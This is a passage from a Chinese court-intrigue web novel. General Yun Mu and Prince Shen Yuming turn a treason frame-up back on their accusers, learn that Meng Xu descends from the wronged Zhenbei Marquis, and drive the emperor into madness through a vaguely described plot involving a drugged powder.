说罢,他挥手让几人随他一同进去,进去之前曾道:“若是有人听了谁的命令将什么东西混进来,就休怪我无情。” 远离并非落井下石,他不希望自己手底下这些承过云暮恩情的人做他最看不起的白眼狼。 “秦王殿下到。” 冯章几人双眼一亮,但很快又黯淡了下去。即便是秦王来了又如何,他们将军如今与秦王不和。 寒风刮得人脸生疼的冬日,沈聿明一副公子做派,摇着折扇缓缓朝他们走来,身后乌泱泱地跟着一大帮人。 “见过秦王殿下。” “起来吧,这是在做什么?”沈聿明“唰”的一声收起折扇。 侍卫长拱手答话:“回王爷,云将军疑似通胡,属下奉皇命搜查布政坊。” “证据?” 侍卫长看了看沈聿明,又看向正忙里忙外的手下,“证据正在搜查,还未找到。” 沈聿明恍然大悟:“也就是你们并无证据证明云大人通胡,只是想趁机将罪名摁在她头上。” 侍卫长只能道:“陈御史给皇上递了折子,属下并不知道上头写了何事,如今属下也只是奉皇命行事。” 沈聿明点了点头,“本王有事要同云将军商议,她人在何处?” 这次是冯章回话,他道:“将军这几日告假,现下约莫在府中。” 云暮进宫的消息无人告知,冯章想明说却不能。 沈聿明朝云暮的书房走去:“派人去请,本王就在此处等她。” 三人在旁看着,那个正在书架上四下翻找的人静默了一瞬,悄悄将手伸进了袖口。 侍卫长忽然出声:“你在做什么?” 被人当场抓包,侍卫尴尬一笑,“许是灰尘太多,袖口又扎得紧,属下的手有些痒,便想挠一挠。” 侍卫长盯着他的袖口,淡淡警告:“你最好只是手痒。” 说罢,他就倚在一旁看着此人。随他们来的御史上前打圆场,“我们在这不过是添乱,不如还是去外头等吧。” 侍卫长不耐道:“御史大人自个儿去吧,下官的上头出了这等事,下官实在没有心情。” 侍卫怎么也寻不到他们说的暗格,他恨不能拿剑劈了书架,将藏在里头的证据一一找出。 还不容易在最底下找到一个暗格,打开一看,里头空无一物。 他将手伸进黑漆漆的小洞,四下摸索,企图趁人不备将袖口的东西甩进里头。 就在他甩出一半时,侍卫长又重新出现在他身侧,“在找什么?有何发现?” “既然什么都搜不到,诸位可以回宫和皇上复命了。” 云暮终于从太师椅上起来了,话是对来搜查的金吾卫说的,双眼却是看着面若死灰的陈御史。 又是一帮人浩浩荡荡进宫,回宫的路上,云暮的待遇比来的时候要好上不少。 正从坊市经过,一个身穿蓝衣的男子在他们面前一闪而过,陈御史指着他大喊:“那人是云府的小厮,云暮通胡的证据就在他手中。” 第二百五十六章 证据 几个金吾卫迅速上前将人捉拿,云暮看着这个背影神似程彬的男子,而不远处正站着无声发笑的砚石,颇为无语。 “陈大人不过今日才来云府一次,就能认得云府的小厮,当真是厉害,本将军佩服。” 但云府小厮不过寥寥几个,本将军日日与他们相处,竟不知此人何时成了云府的小厮。” 陈御史看到脸后,悬着的心还是死了,他嗫嚅道:“是本御史看错人了。” 临近宫门,云暮见徐文依旧穿着那身衣服缩在角落,她凝目望向徐文,后者并未看他,只是拍着胸口咳。 云暮这才彻底放心,整个人瞬间变得松快,到勤政殿时,她甚至还伸了个腰。 陈御史看不惯他这副模样,没忍住在梁文帝面前出言挑衅:“都道狡兔三窟,依微臣看,不若将云大人原先的府邸和布政坊都仔仔细细地搜过一遍。” 云暮方才在书房也并非只是干坐,她掏出一张签字画押盖了章的纸:“陈御莫要再装了,布政坊此刻想来已经有人去搜了,至于原先的府邸,搜出来了算皇上的,你的意思是说皇上通胡?” “皇上,云府并未搜查出任何云将军通胡的罪证。” “皇上,布政坊里也并未搜出云将军通胡的罪证。” 云暮微不可察地勾了勾唇,即便是他们早有布置又如何,在她的眼皮子底下,谁都翻不出花样。 云暮上前一步,道:“皇上,臣这儿也有道状告陈御史的折子,所谓的通胡,不过是陈御史自导自演,想要让臣当这个替罪羊。” “此乃陈御史及裴然裴大人通胡的证据,他们府中的书房里都藏着对方所写的书信,皇上不如也派些人去查查。” 这不过是一个局,梁文帝并不知晓他所信任的好臣子竟真的敢背着他与胡人勾结。 他道:“你莫要攀扯旁人。” 云暮快被气笑了,别人拿着“伪造”的证据便能带人去搜她的府宅,搜布政坊,若是她没有一早察觉,今日沈聿明和冯章几人不在布政坊,她就真的被人算计了。 “皇上,陈御史不过只凭着几封空穴来风的信您就深信不疑,微臣手中人证物证皆在,您看也不看一眼就认定属下在攀咬旁人。” 勤政殿里的人不少,皆是得了消息来看云暮热闹的。谁想热闹还没看到,差点被云暮拉下水。 为了不能在众臣面前“厚此薄彼”,梁文帝看向裴然:“爱卿,可有此事?” 裴然惯会演戏,哪怕他的后背此刻已经开始冒冷汗,但他还是摆出一副被冤枉后的委屈,“皇上,臣对大梁可谓是忠心一片,怎会做出这等事?” 梁文帝复又看向陈御史,“爱卿,你呢?” 陈御史虽说这张嘴了得,但与人联手污蔑旁人还是头一回,他不免有些慌张,声音都显得有些尖细。 “皇上,臣如何会做出这种事?还望陛下明查。” 梁文帝又看向云暮:“你也听到了,没做过便是没做过,缘何冤枉好人?你从前又用这些手段对付过朕的多少臣子?” 污蔑不成就开始翻旧账了?云暮的语气也变得咄咄逼人,“皇上,您既认定是臣通胡,那臣也无话可说,只是今日您不彻查裴大人和陈御史,便是将大梁的江山拱手让给东胡。” “皇上,亲王殿下求见。” 梁文帝几人不占理,那些曾经以为天衣无缝的计划漏洞百出,不愿同云暮攀扯,便宣了沈聿明。 “父皇,儿臣带了几个人来,想让父皇一见。” 梁文帝疲惫地捏了捏鼻根,“什么人?” 沈聿明的目光在裴然和陈御史的身上扫了一圈,才道:“他们是从润州回来的,说是被人追杀灭口,便乔装打扮了一番,回京城告御状。” 裴然和陈御史心里直打鼓,但都在告诉自己只是一个巧合,他们前几日通的书信里曾说人已经被杀了,他们如何能从润州回来?即便是鬼魂,在这龙气十足的勤政殿也撑不了多久。 一个两个拿证据的拿证据,拿人证的拿人证,都在逼梁文帝论裴然他们的罪。 话都说到这个份上了,梁文帝再不见,只会落得一个包庇的罪名,他只好道:“把人带进来。” 几个衣衫整洁却略显局促的人走了进来,他们低垂着脑袋,眼睛不敢随意乱瞟,“微臣参见皇上。” 梁文帝看着沈聿明:“从润州一路仓皇逃回,却穿得如此整洁,你莫不是在诓朕?” 沈聿明坦然道:“入宫面圣,衣不蔽体,蓬头垢面岂不污了父皇的眼,来前儿臣命他们梳洗了一番。” 梁文帝冷哼了一声,“来告御状,为何不言?” 梁文帝今日没有服药,全靠能摁死云暮的那口气撑着,如今已是在强撑。 云暮的目光在吕梁身上停了一瞬,很快,一碗冒着丝丝热气的药出现在梁文帝面前。 “皇上,今儿的药都快凉了,您还没用呢。” 梁文帝这次不再扭捏,不顾药汤还烫着,端着碗一口灌下,最后还是故作不耐地将吕梁驱了下去:“行了行了,喝个药都啰啰嗦嗦,退下。” 事情妥了。 再几人的絮絮叨叨里,梁文帝重新看向云暮递上来的证据。 “你们作何解释?” 裴然用了云暮最初说的话:“皇上臣也在京城,如何能将粮草卖于东胡啊?” 陈御史也开始附和。 云暮讥讽道:“裴大人手眼通天,自是不用亲自到润州也能将粮食卖出去,挣得盆满钵满。” 至于陈御史,不过是一条看不清形势又被人三言两语哄住,自以为对大梁和梁文帝好的蠢货罢了。 但她一个也不会放过。 云暮看向梁文帝,道:“皇上,臣亦有人证。” 梁文帝嘴里还留着苦涩的药味,他只能道:“宣。” 几个胡人很快就被带了进来,这一次,裴然再也维持不住面上的镇定,他决定倒打一耙,“胡人怎会做你的证人,云暮,你果真和胡人勾结!” 第二百五十七章 裴然下狱 “皇上,余炳仁将军的八百里急报!” 东胡来势汹汹,梁文帝此刻最忧心的莫过于润州之事。 “呈上来。” 云暮开口之时,梁文帝只当他狗急跳墙,并未相信裴然同陈御史会伙同东胡谋害润州的将士。看到余炳仁的信后,他心里终于信了几分。 这一次,他并未命金吾卫搜府,而是叫来了暗卫。 “去搜。” 给人挖坑归挖坑,但若是有人敢和东胡勾结,他断不会忍。 云暮看向一无所知的裴然和陈御史,扬唇浅笑,且看着她如何以其人之道还治其人之身。 从未示于人前的暗卫让陈御史和裴然乱了阵脚,他们并非问心无愧,府中还收着不少见不得人的东西,只是此刻再多言暴露得越多。 他们来回不过一个时辰,陈御史和裴然却觉得过了百年之久。 再看到手中空无一物的暗一先踏进勤政殿时,云暮适时皱眉,她上前两步,嘴微微张开,似是想问些什么,然还顾及梁文帝,又讪讪地收回脚步。 裴然见状,得意发笑,“云将军,即便你身为金吾卫大将军,可污蔑朝廷命官依旧是重罪。往日都是你往别人身上招呼刑具,今时今日也该轮到你尝尝这滋味了。” 云暮再次往门口张望,道:“是嘛,本将军看不尽然。” 官员于朝堂拌嘴、大打出手实乃常事,云暮今日却不想同他们争执,能把人直接弄死的事,就不要多与对方说这么多话,她怕自己死于话多。 梁文帝也急于知道结果,他问道:“什么都没搜到?” 暗一几个曾为他搜罗过朝中官员的不少马脚,搜不出与胡人来往的证据,总该能找到些别的,不至于空手而归。 暗一行至梁文帝身侧,弯腰在他耳边低语了几句,又从袖口拿出几张薄薄的信,梁文帝只看了一眼,脸色骤变:“马上带人去查,哪怕掘地三尺,也要将证据给朕带回。。” 云暮看着那几个眼熟的信封,默默地远离了站在她身侧的陈御史二人,旁人不明所以,直至看见梁文帝拿起茶杯朝裴然和陈御史砸去,乱飞的茶水溅了他们一身,才仓皇躲开,只是为时已晚。 “你们两个自己看看这是什么东西!” 梁文帝重重地将其拍向吕梁手中的托盘,“啪”的一身让在场之人的心都震了震。云暮的个子略比几人矮些,她隐于人后,看向正在人群里搜寻她的陈御史,无声地说了一句:“自作孽,不可活。”敢暗算她,就该自食其果。 诏狱内,云暮站在裴然的牢房前,未置一词。 裴然依旧是那副眼高于顶的模样,“皇上不会动我,再过几日,我就能全须全尾地走出这间牢房。” 云暮知他再说私库一事,若是把他逼急了,他便将所有的事都捅出来,于是她附和道:“是能走出这间牢房。”在裴然得意的神色中,她继续道:“可未必走得出诏狱的大门。” 疑惑爬上裴然的眼:“你什么意思?” 云暮撩了撩衣摆,蹲下与裴然平视,轻声道:“你说什么?你又能说什么,那些账册如今可都在皇上手中,谁会信你?” “粮仓那边出不了事,你们已经没有任何法子了,你不若供出幕后主使,还能有翻盘的那一天。” 私库被捅出,梁文帝将被万民指摘,他怎会容忍这种事发生?只是他不知道裴然习惯做三份账,两份进了宫,置于勤政殿内,最后一份则在云暮的书房。 沈聿明随意拿了一本账册,就地坐在木箱上翻看:“父皇大门不出,二门不迈,但光是去岁一年就花了上千两银子,他都花在了何处?” 云暮不知如何作答,梁文帝从未和她提过私库,她也是今岁才知,而那个时候,她已经不大入宫了。 “兴许是吃喝玩乐吧。” 毕竟有条直通宫外的密道,宫门落钥后,随意找个批折子不见人的借口,而后偷偷溜出皇宫,谁也不知道。 只看了几页,沈聿明就将其丢回了木箱,他挪至云暮身侧,抽出她手里的供词,云淡风轻道:“你给了他什么好处,竟让他背叛父皇,将账册送到云府?” 云暮摊了摊手:“我若说他什么都没要你可相信?”就连她自己都不知道对方为何会做出这种事。 那日她从宫里回来,砚石和陈江神神秘秘地把她带到书房,说是两个黑衣男送来的,东西放下就走,几个起落人就没了影子。在勤政殿没看到第三份账册时,她心里就起了疑,回府时,只见一个贴了封条的木箱躺在正厅,她终于明白为何暗一走前会看了她一眼。 沈聿明对云暮的话自然是深信不疑,但他不信的是暗一:“往后他不会以此为要挟,逼你做脏事吧?又或是让你交出药方?” 云暮拍了拍身下的木箱:“东西都在我们手上了,还用得着听他的话?况且这还是他自个儿派人送来的,与我何干?皇上最多再撑上两个月,你要早做打算。郑鹤桉是裴然他们的人,金吾卫也不全是听我命令行事,他们估计要将梁今越推上那张椅子。” 沈聿明拢住她的手,道:“无碍,我已有安排。” 这些时日,他联系了不少镇北侯的旧部。四十年前他们迫于先帝的威压,镇北侯死前又保住了他们命。这些年谨小慎微,一直在暗中搜寻能证明镇北侯清白的证据,却还是没能翻案。 如今帝弱,沈聿明又与钟叔等人相识,他们也愿信上几分。 “王爷,府中有急事,钟叔请您回去一趟。” 云暮抽回手,把人往门口的方向推:“去吧。” 沈聿明不愿离开:“何事?” 门外的文竹答道:“钟叔没说。” 这是不想让她知晓?云暮心里有些不舒服,但还是将沈聿明推了起来:“回去吧,处理好了再来也不迟,左右裴然那头什么都没招。” 沈聿明在她唇角落下一吻,“我回去看看,一会儿再来寻你。” 第二百五十八章 孟煦身份 “究竟是何事?有什么不能在云大人跟前说的?”沈聿明冷声问道。 文竹向前迈了一大步,低声说了一句,沈聿明的眉心紧紧拧在一处。 “他怎么会是……” 沈聿明自打进门开始,双眼就没离开过孟煦,把人来来回回打量了好几遍,又与脑海中的那几幅画像对了许久,终于在眉眼间窥得几分相似。 “草民见过王爷。” 沈聿明皮笑肉不笑道:“孟先生还真是出乎孤的意料。” 他又偏头看向身后的钟叔:“钟叔,你没认错人?可别什么阿猫阿狗都能随意冒充镇北侯府的人了。” 钟叔双手奉上一枚玉佩,“王爷,错不了。” 孟煦无奈一笑:“不过是生活所迫。” 沈聿明落座之时,带起一阵风,孟煦嗅到一股熟悉的味道,“小暮也知道了?” “不知道。” “草民还当王爷来时将事情告知于她了呢,不过也是,她若是知道,想必也会和你一道来。” 话虽没错,沈聿明听在耳朵里却觉得格外刺耳。 “孟先生如果不是来谈事的,那孤就先告辞了,她还在府中等着孤。” 孟煦也要起身:“那正好一道去云府说,这事儿也用不着瞒着她。” 这是在说他瞒着云暮,不把云暮当自己人?沈聿明瞪了钟叔和文竹一眼,上前挡在门口,拦住孟煦的路。 “外头天寒地冻的,就不劳烦孟先生再跑一趟了,等会儿孤会一字不漏地和她交代清楚。” 孟煦嗤笑了一声,转身坐回了原位。对方既是为他家平反昭雪,他没道理和对方撕破脸。他拿出一个木盒:“里头是草民这些年查到的证据,不知于王爷可有帮助。” 沈聿明自小就去了涿州,回京城也不过第二年,身份虽便宜收集证据,但时间过得太久,有些还是没能找到,没想今日在此处见到了。 他挑拣出大半的证据,顺手盖上木盒,“这些就由先生你自个儿收着,这个于本王有用。” “还有何事?”沈聿明着急回去见云暮,不想再与孟煦多言。 孟煦却不打算放过他:“王爷查到了什么,翻案有多少成功的可能,王爷不如和草民通个气。” 沈聿明瞥了一眼钟叔,阴阳怪气道:“镇北侯之事本王从未瞒过钟叔,怎么,他什么都没有和你说?” 钟叔擦了擦额角并不存在的冷汗,他偶然得知孟煦的身份,心中诧然,这才急匆匆地把人叫来,还让文竹不许同别人说。 他不常跟在沈聿明身边伺候,不知沈聿明早已和云暮和好,文竹也是个实心眼的,当真不与除沈聿明之外的人提起,结果惹了沈聿明生气。 好在他即便知道孟旭的身份,但也并未全盘拖出。 “王爷,老奴是王府的人,自然是以王府为重。” 沈聿明冷哼了一声,“如此最好,你同他说,漏了什么本王再补就是。” 总算是过关了,钟叔松了一口气。 …… 钟叔才说罢,沈聿明忙不迭开口:“孟先生可还有疑问?”孟煦怎会轻易就放他去见云暮,又问了几个无关紧要的问题,最后在他彻底不耐烦前,孟煦终于肯放人了。 他含笑看着沈聿明:“多谢王爷……” 沈聿明将盒子往怀里一揣,“道谢就免了,孤也不过是报钟叔他们的救命之恩罢了。” 说罢,他头也不回地走了,临出门前,他忽而转身,“孟先生,此事由孤去说即可,孤一会儿还要同云大人商议裴大人通胡一事,旁人不好在场。” 话毕,他又风风火火地走了,甚至将要为他赶马车的文竹也忘了。 …… 云暮还在翻看账册,梁文帝登基不久,私库便设下了,起初他们还有所收敛,后来行事越发肆无忌惮。 收上来的税,三分进了裴府,四分进了梁文帝的私库,还余下三分进国库。是以这么多年来,他们三方在得以维持这种微妙的平衡。 正看得出神,一只温热的手贴上了她的颈侧,比起她扣住来人手腕更快的是随之而来的雪松冷冽的淡香。 云暮收起账册,转了方向面对沈聿明,“这么快就回来了?” 沈聿明从怀里掏出一包新鲜出炉且还带着热气的烤板栗,“不是什么大事。” 云暮哦了一声,张口衔住沈聿明递来的剥好的栗子,没再追问。 沈聿明把人从木箱抱到他的腿上,栗子才剥好,下一瞬就进了云暮的嘴里。他问道:“你就不好奇是什么事?” 云暮点点头,又摇摇头,“说不好奇是假,但钟叔不许文竹告知旁人,应是不想被外人知道的。” 沈聿明不满地咬着她露在外面的脖子,含糊不清道:“你于本王,从来都不是外人。” 云暮嘶了一声,朝他鼻子弹了弹:“你属狗的吗?怎么这么喜欢咬人?” 沈聿明恬不知耻道:“只做你一个人的小狗。”末了还“汪”了两声。 云暮一言难尽地看着他,沈聿明何时有了这种癖好?她得离他远些。 沈聿明把人往怀里带了带,“不闹了,方才我去见了一个人。” 他故意顿了顿,在云暮好奇看他时,才又继续开口:“见的是孟煦。” 他担心云暮没能想到,提醒道:“没错,就是你兄长,孟煦。” 这下云暮更疑惑了,沈聿明和孟煦见过不少,她经常在场,两人说话时总是夹枪带棒,今儿为何瞒着她特意去见孟煦? 沈聿明捏了捏她的指尖,“他……他是镇北侯府的人。” 云暮腾的一下从他怀里站起,“你说什么?”动作太快,竟没注意到踩了沈聿明的脚。 沈聿明忍着疼道:“你没听错,孟煦就是镇北侯的后人。” 云暮仍然觉得荒谬,孟煦他不是一个无家可归、暂居她家的可怜人吗?何时成了镇北侯的后人了? “你怎么知道?” 沈聿明解释道:“今儿钟叔出去采买东西,恰巧碰见了孟煦。他从前就是跟着镇北侯,孟煦又与镇北侯有几分相似,便认出来了。” 云暮还是觉得不可思议。 “大人,门外有人求见。” 第两百五十九章 无缘被禁足 云暮被禁足和天子令被收回的消息让朝野上下拍手称快。 她淡定在家烹茶看书,而她手底下的部分人却急得像热锅上的蚂蚁,尤其是那些个靠着她的关系才做上官的人。 “大人,又来一张拜帖。” 云暮翻了一页书,头也不抬道:“禁足期间,不可与其他官员来往,不见。” 不过是禁足就急成这样,倘若他们知道过几日她要被罢职,他们岂不是要寻根绳子吊死? 才解决了这件差点让她丢命的事,正审着裴然和陈御史,一道禁足的圣旨就送到了诏狱,让他们二人笑话了许久。 这一次梁文帝甚至没想出一个合理的借口,就直接将她禁足,还真是应了那句雷霆雨露皆是君恩。 但她也不急于一时,她已经同那些信得过的人交过底,私下里也向他们引荐了沈聿明,所以她有无官职在身并不重要,重要的是金吾卫是否听她号令。 “都出去吧。”沈聿明的声音陡然响起。 云暮终于抬起头,“这么快就结束了?” 她才收到信没多久,人就来了。 沈聿明嗷了一声,倒在她腿上,拉过她的手放在他的额角:“帮我揉揉一大早的就要上朝,又要议事,还不容易都结束了,谁想竟还要同他们一道用膳。” 他低声抱怨:“一个个的,都想将我灌醉,我便顺势不胜酒力,先行回来了。” 云暮停下动作,“你在,他们不放心,便想支开你,方便议事。” 沈聿明将云暮带着凉意的手贴在他滚烫的脸颊,“我知道,我不走他们不会议事,那儿还有我的人,一会儿消息就送来了。” 云暮捏住他的脸,提醒道:“那些人里有梁今越的人,你莫要玩脱了。” 沈聿明听着话就不太乐意了,“这怎么是玩,这叫叫战术!” 云暮随口附和了两声,“是是是,迷惑旁人的战术,王爷好手段。” 吹捧的心没有半分诚意,沈聿明不满地挠了挠她的腰:“你就不能说些真心实意的话。” 云暮的腰很是敏感,她扭着身子往后撤,手上将沈聿明往一旁推。 沈聿明抓住她的手,一个翻身又躺回了云暮的腿上,手圈着她的腰,作势还要再挠。 云暮开口讨饶:“我错了我错了,王爷英明神武,下官着实佩服。” 沈聿明点了点她的腰:“非得让本王使出这等手段。” 两人又闹了好一会儿,云暮终于止住了笑,她扯过沈聿明的大氅裹住自己,道:“再闹我可就恼了。” 沈聿明仗着手长脚长,将她困住,挠着她身上的痒痒肉,她笑得眼泪都要流出来了,对方才肯放过她。 沈聿明轻咳了一声,“不闹你了,我今儿来还有事要说。” 云暮半信半疑地往他身边靠了靠发现看沈聿明只是圈住她,并无其他动作才终于放心。 “老七正在挖我的人,裴然那头也不开口,父皇没再让人动刑,看来还是想要保住他。” 云暮和沈聿明布局了将近一个月,为此不惜千里迢迢把人从润州带到京城,他们做了这么多,为的就是能将裴然他们一网打尽。 可最后裴然不仅没有供出崔相,如今还有重返朝堂的可能,云暮如何能忍? 她看向角落的那个木箱,“若皇上执意要保裴然,那就休怪我将账册散出去了。” 梁文帝想要的是名垂青史,她要其遗臭万年。 “镇北侯的事调查得如何了?” 沈聿明道:“差不多了。” 云暮起身朝书桌后走去,提笔写下几个药名,“你去替我准备这些药材,三日后,皇上定会上朝,寻个人让其在朝堂上将此事捅出。” 沈聿明意外看她,“你从前……” 先前西北和南边屡受敌国进犯,东胡对大梁虎视眈眈,且势在必得,云暮不想乱了在外杀敌的将士的心,便一再忍耐。 如今余炳仁将东胡击退至虎门关外,长平侯亦灭了南边的几个小国,士气高涨。他们本就对梁文帝心存怨念,此刻身死,对他们影响不大。 “只是你还得多多提防梁今越,皇上一死,崔家必定会寻由头把人放出,人一旦出来,想再让他进去可就难了。” 她回想起裴然下诏狱那日,就在回府的路上,她被人拦下了马车,娇蛮跋扈的崔苒将她骂了一通。 她不过激了对方几句,崔苒道:“你害了太子表哥就是为了给七皇子作投名状,你当真以为对方是个软柿子?你且等着看吧,将来有你后悔的时候。” 当日她以为崔苒只是厌恶七皇子,认为他不堪大任,如今再思考了一番,她品出了不对。 云暮清楚七皇子的为人,虽有些小聪明,懂得玩弄几分权术,但并不是沈聿明的对手,同样的,他亦不是梁今越的对手。 这几日她派人留心崔府和宗人府两头的动静,宗人府的蜡烛虽未熄过,可每到夜深人静之时,门窗上总会映出一个多余的影子。 待到天光亮起,才有一人匆匆从巷子离开,他前行的方向,正是崔府。 沈聿明道:“这几日崔浩同兵部走得近,私下里还找了禁卫军首领,我去问了,崔浩不时地打听禁卫军轮班值守的时间,美其名曰让崔家的公子进禁卫军历练一段时间。” 云暮玩笑道:“怕是名为历练,实为策反,想要抢了你手中的东西。” 沈聿明得意地哼哼了两声,“那就要看看他有没有这个本事了。” 云暮捧起他的脸,认真道:“他们行事阴险,我不在外头,过几日怕是连官帽都保不住了,你万事小心。” 沈聿明蹭了蹭她的手心,“过些时日,我给你封一个更大的官。” 云暮噗嗤笑出声,“那我就静候佳音了。”她想了想,又补上一句:“若是有需要,只管去找冯章他们。” 先前去布政坊,冯章还怀疑他动机不纯呢,眼下怎么就突然相信他了?他按捺住心里的激动,随意问道:“你同他们说了我们的关系?” 第二百六十章 朝堂上发疯 梁文帝将人禁了足,但还是派人日日来云府取药,今日来的人是吕梁。 云暮扫了一眼,道:“看来皇上的身子比从前好了不少。” 吕梁道:“云将军妙手回春。” 云暮嗤笑了一声,“什么妙手回春,不过是皇上了结了几桩心事,不再郁结于心,身子也慢慢好起来罢了。”其中一桩便是她。 这话轻易接不得,吕梁没敢应答。 云暮也没指望他能说些什么,她拿出一早就准备好的药材和药罐,小火煨着。 足足熬了一个半时辰,药复煎了两次才算完。 云暮的手才抬起,吕梁便已经将手放在了药罐的把手上,棕黄的药汤从壶嘴流向药盅,盖住了他故意压低的声音。 药汤尽,话头也随之断了。 云暮不语,敲了敲药罐的盖子,食小幅度地摆动,吕梁不解。 云暮这才开口:“皇上的身体好了不少,可以多进补,让太医根据皇上的脉案斟酌用些人参之类的大补之物。” 吕梁恍然大悟,应了声事,提起食盒和云暮告辞,脚步比来时轻快了不少。 药食双补,两管齐下,梁文帝的身体果真变好,面色也越发红润,就寝前都不用宫女暖床了。 梁文帝大喜,餐后的药膳总要饮上两海碗,从云府来的药更是一滴不剩。 三日后,梁文帝果真上了朝,百官恭贺。 御史彭元丰持笏而出,“皇上,臣今日收到一个包袱,臣看了一眼,认为此物还是交由皇上才是。” 梁文帝心情颇好,闻言笑看彭元丰,“爱卿这天不怕地不怕的性子,今日怎么扭捏起来了,呈上来让朕瞧瞧。” 彭元丰和陈御史虽同在御史台,嘴巴一样狠毒,但他所言不过是直击弊病,与陈御史的咄咄逼人不同,是云暮和沈聿明选出来的“出头鸟”。 梁文帝脸上的笑意在看到纸上的内容后荡然无存,他面上飞快地划过一丝慌乱,“此物你从何处得来?” 沈聿明内心冷笑,方才还一口一个爱卿,眼下怀疑是彭元丰所为,竟是演都不演了。 彭元丰拱手道:“今日臣的马车停在西市之时,包袱便从天而降,落在了臣的身边。” 彭元丰家中上有爹娘要奉养,下有三五稚子,十几张口等着吃饭,每月的月俸不过勉强够用,一家人挤在京城外的小屋里。 日子清贫,但彭元丰还是允了孩子每半个月吃一回桂香斋的糕点的请求,桂香斋的糕点谈不上多好吃,但胜在便宜大份。 摊主是一对年逾六十的夫妇,糕点不多,且卖得早,秉承着先到先得的原则,谁都不许逾矩。 今日正是彭元丰为家中妻儿买糕点的日子,朝中与他交好的官员皆知此事。 他如实说道:“臣当时正在为家中妻儿买糕点,糕点尚在马车上,皇上若是不信,可派人去查看。” 当年人人皆以为镇北侯通敌叛国,但梁文帝却是知晓实情。彭元丰那时年岁不大,但保不齐也听说过此事,他不确定对方会不会真的信了上面所说的事情。 还未等他开口,侍卫拿着一个包袱在殿门外求见:“皇上,属下有要事禀报。” 梁文帝心中惊惧交加,今日已经没有了上朝的念头,他派吕梁去将人打发了。 吕梁才迈出两步,外头的侍卫便道:“皇上,此物事关镇北侯。” 此言一出,金銮殿的群臣都往门外看去,最靠近门口的官员见那包袱竟与彭元丰拿的一模一样,心中有了猜测。 “皇上,属下……” “皇上,臣……” 沈聿明眼看着一个个相同的包袱被大张旗鼓地送到金銮殿,心中浮起异样的满足,但同时有些遗憾,若是此刻云暮也在就好了。 他看向那个空出来的位置,心里想着等会儿回去定要好好和云暮描述梁文帝的脸色有多精彩。 包袱多得连梁文帝面前的桌子都放不下,但他还是一言不发。就算他不语,在场之人都知道这些东西与何人有关。 沈聿明也早知是这样的结果,他想的是派人在那些官员的马车上都放上一个包袱。谁知有人冒着被砍头的风险大声吼出了那句“与镇北侯有关”。 没见到人,但他也能知道是何人所为。 梁文帝目光阴沉地看着殿中之人,当年他的所作所为并不被人知晓,所有人都不知其中有他的手笔,但包袱里的每一个字都在逼他回忆当年之事。 踩着“好友”一家的尸骨上位,午夜梦回之时,梁文帝也曾“见过”当初那个意气风发的少年将军变成满身血污的恶鬼,朝他伸出那双脏手想要索他的命。 他身侧的吕梁抖了抖拂尘,一股不易察觉的粉末落到梁文帝身上,钻进他的鼻腔。 眼看着满朝文武百官变成手持长枪利剑的恶鬼,恶狠狠地盯着他。 梁文帝失控地将桌上的东西扫落在地,纸张纷纷扬扬落下,有官员抬手接过,双目发圆。 所有人都被那些证据吸引了去,唯有沈聿明冷眼看着梁文帝。 一桩冤案即便过了再久,亦不是当年之人想掩埋就能掩埋的。昔年他借着镇北侯府上下百余人的命得了势,四十年后他要因此事身败名裂。 天理昭昭,报应不爽。 百官抢着证据,在梁文帝眼里成了想要上前杀他的恶鬼,他拔出挂在身后的尚方宝剑,边奔向台下边挥着手中的剑。 “你们死了这么多年,为何还是不肯放过朕?朕是真龙天子,杀你们这些恶鬼就和当年一样简单。” 沈聿明惊呼一声,“父皇!” 他作势要去拦梁文帝,实际上却是把梁文帝往崔浩的方向引。 “皇上!” “丞相!” …… 云府。 云暮看了一眼滴漏,从树下挖了一坛酒,取了三个瓷杯摆在两个牌位前。 “爹,娘,终于到了了结的时候,宫中此时想来已经乱成一锅粥了吧。” 何秋林固然是杀害她爹娘的凶手,如果没有梁文帝的包庇,她当年如何能将事情瞒下,还一瞒就是十年。 “爹,娘,你们会后悔当年救了他们吗?” 第二百六十一章 你到头了 云暮左等右等,终于等来了梁文帝在金銮殿突发癔症,挥剑砍向朝中重臣,伤了好些个人,就连崔相都差点被刺中,最后还是沈聿明为了众人的安危,大逆不道地夺了剑,又将皇上敲晕。 而那些证据也在慌乱中被他们都看了去,也被传了出去。等梁文帝醒来,才知事情已经失控。 他将沈聿明几个都叫到跟前,劈头盖脸就是一顿骂,“朕不过是倒下一日,朝野乱成什么样了?你们要朕如何放心将大梁的江山交到你们手中?” 说罢,强撑着的那口气也消去,一通咳后,整个人又倒回了床上。 沈聿明接过吕梁递来的参汤,一点一点喂给梁文帝。 “父皇,此事涉及之人众多,儿臣同皇弟们拿捏不准该不该抓,这才不敢动手,但父皇放心,儿臣已经下令朝野皆不许再议此事。” 梁文帝才平复的火气又隐隐又翻腾的趋势,他压着怒气问:“不许他们议,他们便会认为是朕心中有鬼。” 沈聿明垂下眼帘,遮住眼底的讥讽,将满朝官员看成从阴朝地府爬回来的恶鬼,他可不就是心中有鬼? 七皇子得意地看向沈聿明,上前道:“父皇,皇兄行事畏缩,依儿臣看,就该将那些人都抓了,严刑拷打,再将第一个传出消息的人斩了,以儆效尤。” 喝了参汤有了些许力气的梁文帝夺过沈聿明手中的碗,用尽全力砸向七皇子,“逆子,你这是要朕坐实这个罪名?” 送药的太监头一次见这场景,食盒差点从手中脱落,吕梁淡淡扫了他一眼,将手伸向食盒。 太监捏紧了食盒,不肯相让,他在里头加了些能光宗耀祖的东西,只要皇上看了,他便是下一个吕梁,若皇上高兴,他能成为下一个云暮也说不准。 “吕公公,我们都是奴才,您就给小的一个面圣的机会吧。” 吕梁是云暮的人,他当然知晓里面装了什么,小太监以为是瞒天过海,但这不过是云暮的计策罢了。 他沉声问道:“你当真想要面圣?” “是。” 吕梁拦不住想死的人,也正好能借对方的手洗脱嫌疑。 “进来吧。” 他又给沈聿明使了一个眼色,道:“皇上,药来了。” 他给梁文帝顺了顺气:“云大人先前交代过,您这病可千万不能动怒,从昨儿到今日早间,您一直未醒,太医束手无策,还是暗一大人将云大人强行带进宫为您施针。” 梁文帝一怔,他没想到云暮被他如此对待竟还肯出手救他,不过也是,他是大梁的皇帝,若是执意不肯来,那便是大罪。 小命被人捏在手中的滋味并不好受,他道:“这么多天了,太医还是没研出药方吗?” 吕梁摇摇头,道:“不如再叫太医来看上一看?” “罢了,等明日吧,药呢,怎么磨磨蹭蹭就是不呈上来?。” 明日便是最晚的期限了,也不急于这一时。 一直跪在地上的太监忽然出了声:“皇上,奴才想给您看一样东西?” 是个眼生的太监,梁文帝道:“何物?” 